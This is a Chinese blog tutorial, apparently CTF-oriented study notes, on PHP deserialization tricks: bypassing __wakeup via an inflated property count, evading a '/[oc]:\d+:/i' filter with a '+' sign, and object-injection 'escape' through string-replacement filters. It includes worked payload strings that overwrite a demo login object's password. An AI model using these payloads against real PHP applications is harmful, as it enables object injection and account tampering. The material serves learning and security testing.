php反序列化姿势学习

1.__wakeup()函数绕过

wakeup函数作为php反序列化中的一个函数,也经常被拿来当做考点,比如这样

    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

分析:$this->file != 'index.php//如果界面不为index.php
$this->file = ‘index.php’; //界面就强制改为index.php
这对想看flag.php的童鞋就比较为难了。
那怎么绕过呢?
其实当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔术函数执行
什么意思呢?上代码(随便写了一个序列化)

class Student{  
public $a=123;
}
$Student=new Student;
$q=serialize($Student);
echo "$q";

这串代码序列化后的值是这样的

O:7:"Student":1:{s:1:"a";i:123;}

我们着重关注从左往右数的第一个1,这个1代表student类的属性个数,这里因为只public一个a参数所以为1。
然后我们把1改为2即可绕过wakeup函数。

2./[oc]:\d+:/i研究

第一次看到这个有点迷糊,以为是啥限制,后来查阅资料了解到
OC:正则表达式

正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、
及这些特定字符的组合,组成一个“规则字符串”,
这个“规则字符串”用来表达对字符串的一种过滤逻辑。

\d+:/i是什么意思呢

\d:  匹配一个数字字符。等价于 [0-9]。
 +:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写

所以这个正则表达式就是查看是否有数字。
试试绕过下面的正则表达式

if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    }

因为反序列化是有数字的,这个该怎么绕过呢?
方法:加一个加号即可

O:+7:"Student":1:{s:1:"a";i:123;}

原因:

https://www.phpbug.cn/archives/32.html

放一个加号可以直接退出序列处理,从而绕过正则匹配。

php反序列化逃逸

首先介绍下与逃逸有关的php反序列化特点:
1.}后的东西不会被解析
例如:

$a='O:7:"Student":1:{s:1:"a";i:123;}12312121';
var_dump(unserialize($a));

这串代码经过反序列化后会变成这样

object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(7) "Student" ["a"]=> int(123) } 

其中后面的12312121不会显示

其他的例如不对应会报错,可以随意改值啥的就不说了。

反序列化逃逸怎么来呢?网站一般会在输入框会验证是否输入合法的字符,如果不合法,有些网站可能会把不合法的字符给替换掉,然后把输入的值进行反序列化,这就造成了反序列化逃逸漏洞。

例如:

function filter($str){
$filter='/hack/i';//替换hack成为itiswrong
    return preg_replace($filter, 'itiswrong', $str);
}
class login{
    public $name='testi';
    public $password='123456';
}
}

既然说到了替换,那自然有替换后字符串增加和替换后字符串减少的两种情况,其对应的逃逸方法也各不相同

1.替换后字符串增加

我们先构造下图代码来测试(先看懂代码再往下看)

<?php
function filter($str){
$filter='/hack/i';
    return preg_replace($filter, 'itiswrong', $str);
}
class login{
    public $name='testi';
    public $password='123456';
}

$login=new login();
$out1=serialize($login);
$res=filter(serialize($login));
echo $out1;
echo "<br />";
echo $res;
echo "<br />";
$qq=unserialize($res);

echo "name:";
echo $qq->name;
echo "<br />";
echo "password:";
echo $qq->password;
?>

运行后,name里面未加hack就是第一张图,加了hack就是第二张图
在这里插入图片描述我们不难发现,第二张图替换后长度和字符串不对应,导致后面name和password读不出来,这就是漏洞所在。
我们可以在name这一输入框(假设有,代码里没实现)构造一个特殊的字符串,再使用}把后面的password给弄掉,使之不能读取,就实现了改密码的功能。
在这里插入图片描述话不多说,开干。
由于要替换password,但因为替换前是hack,替换后是itiswrong,多了5个字符,那我们要构造5的倍数的字符串。

";s:8:"password";s:5:"12345";}(长度为30,密码随便改,但要符合替换长度)

30/5=6,所以我们构造6个hack,至此,攻击代码如下

hackhackhackhackhackhacktesti";s:8:"password";s:5:"12345";}

攻击页面:
在这里插入图片描述
可以看到,password被替换成12345,成功逃逸!

2.替换后字符串减少

还是使用上面的代码,但是改为由hack替换成no
初始密码由123456改为12345,方便一些

这种该怎么办呢?
由于前面name缩水,在name处进行逃逸已经不行了,所以我们选择在password处进行逃逸。
构造特殊的字符,使name那一栏把password那一栏的值给吃掉,然后在password处构造新密码,最后}结尾,不就逃逸成功了?
话不多说,开干

<?php
function filter($str){
$filter='/hack/i';
    return preg_replace($filter, 'no', $str);
}
class login{
    public $name='testi';
    public $password='12345';
}

$login=new login();
$out1=serialize($login);
$res=filter(serialize($login));
echo $out1;
echo "<br />";
echo $res;
echo "<br />";
$qq=unserialize($res);

echo "name:";
echo $qq->name;
echo "<br />";
echo "password:";
echo $qq->password;
?>

我们要吞掉了字符串是这些

";s:8:"password";s:5:"12345(总共27)这里注意,往password框中填入逃逸代码后会使原始的5增长到两位数,所以前面吞的数量要加1

hack替换成no总共少2个
所以28/2=14
我们构造14个hack即可
所以最终在name处构造

hackhackhackhackhackhackhackhackhackhackhackhackhackhacktesti

在password处构造

12345";s:8:"password";s:4:"1234";}

构造成功截图(其中灰色代表实际上被吞掉的数量,总共28位)
在这里插入图片描述可以看到密码被改成1234,成功逃逸!

后面学到了再写,待续…

  • 7
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: PHP 反序列化是一种常见的安全漏洞,攻击者可以利用这个漏洞来执行恶意代码或者控制 Web 应用程序。要学习 PHP 反序列化,您可以按照以下步骤进行: 1.了解序列化和反序列化的基本概念。序列化是将对象转换为字符串的过程,反序列化则是将字符串转换为对象的过程。在 PHP 中,可以使用 serialize() 和 unserialize() 函数进行序列化和反序列化。 2.学习 PHP 反序列化的原理和技术。了解攻击者是如何利用反序列化漏洞来执行恶意代码的,以及如何使用一些工具和技术来发现和利用这些漏洞。 3.掌握 PHP 反序列化的实际操作。可以通过创建漏洞靶场或者参加 CTF 活动来进行实践,学习如何编写和利用反序列化漏洞的利用代码。 4.学习防御 PHP 反序列化漏洞的方法。了解一些常见的防御技术和最佳实践,以减少应用程序受到攻击的风险。 在学习 PHP 反序列化时,建议您选择一些优质的在线资源、书籍、博客或者论坛来学习,例如 OWASP 和 PHP 官方文档。此外,也可以加入一些安全社区或者参加一些培训课程,与其他安全从业者交流和学习经验。 ### 回答2: 学习PHP反序列化的过程可以分为以下几个步骤: 1.了解反序列化的概念:了解反序列化是将已经序列化的数据重新转换为原始的数据结构的过程。在PHP中,通过反序列化可以将序列化的对象还原为PHP对象。 2.学习序列化和反序列化的基本语法:了解PHP中的序列化函数`serialize()`和反序列化函数`unserialize()`的基本用法和语法。 3.检查可反序列化的数据源:了解在PHP中可以被反序列化的数据源有哪些,例如字符串、文件等。同时要注意在反序列化时,要确保数据源的可靠性,避免恶意数据的注入。 4.了解PHP对象的序列化和反序列化学习如何将PHP对象序列化为字符串,以及如何将序列化的字符串反序列化PHP对象。要了解序列化和反序列化的规则和约束,以确保数据的完整性和可用性。 5.研究PHP反序列化的安全问题:反序列化在应用中有一定的安全风险,因为恶意的序列化数据可以导致代码执行漏洞。学习安全的反序列化技术,了解如何避免和防范反序列化攻击。 6.通过实际练习提升技能:通过实践,结合自己的开发经验,写一些简单的反序列化代码,并且测试不同的反序列化情况,加深对反序列化的理解和掌握。 7.学习相关的安全工具和技术:掌握一些常用的PHP反序列化漏洞检测工具和安全技术,以提高对反序列化漏洞的识别和修复能力。 总之,学习PHP反序列化需要理解概念、语法和安全问题,并通过实践不断提升自己的技能。通过不断学习和实践,可以掌握PHP反序列化的使用和安全开发技巧。 ### 回答3: PHP反序列化是指将序列化后的数据重新还原成原始的PHP对象或数组的过程。学习PHP反序列化主要需要掌握以下几个步骤: 1. 了解序列化和反序列化的概念:序列化是将PHP对象或数组转换成字符串的过程,而反序列化则是将字符串还原成原始对象或数组的过程。了解这两个概念对于学习PHP反序列化非常重要。 2. 了解PHP的序列化函数:PHP提供了一些序列化函数,如serialize()函数和unserialize()函数。serialize()函数用于将PHP对象或数组转换成字符串,unserialize()函数则用于将字符串还原成原始对象或数组。 3. 学习序列化格式:PHP的序列化格式是特定的,掌握序列化格式对于理解反序列化非常重要。其中,序列化的格式可以通过序列化函数生成的字符串来进行分析,了解其中的规律和特点。 4. 学习反序列化漏洞:了解反序列化漏洞是学习PHP反序列化的重要一环。反序列化漏洞是指恶意用户通过在反序列化时植入恶意代码来实现攻击的一种漏洞。了解反序列化漏洞的原理及如何预防和修复是学习PHP反序列化的关键。 5. 实践练习:通过编写PHP代码来进行反序列化的实践练习是学习的重要环节。可以尝试使用serialize()函数将PHP对象或数组序列化,并使用unserialize()函数将序列化后的字符串反序列化,验证反序列化是否成功。 总之,学习PHP反序列化需要了解序列化和反序列化的概念、掌握PHP的序列化函数、学习序列化格式、了解反序列化漏洞以及进行实践练习。通过不断学习和实践,可以提高对PHP反序列化的理解和应用能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值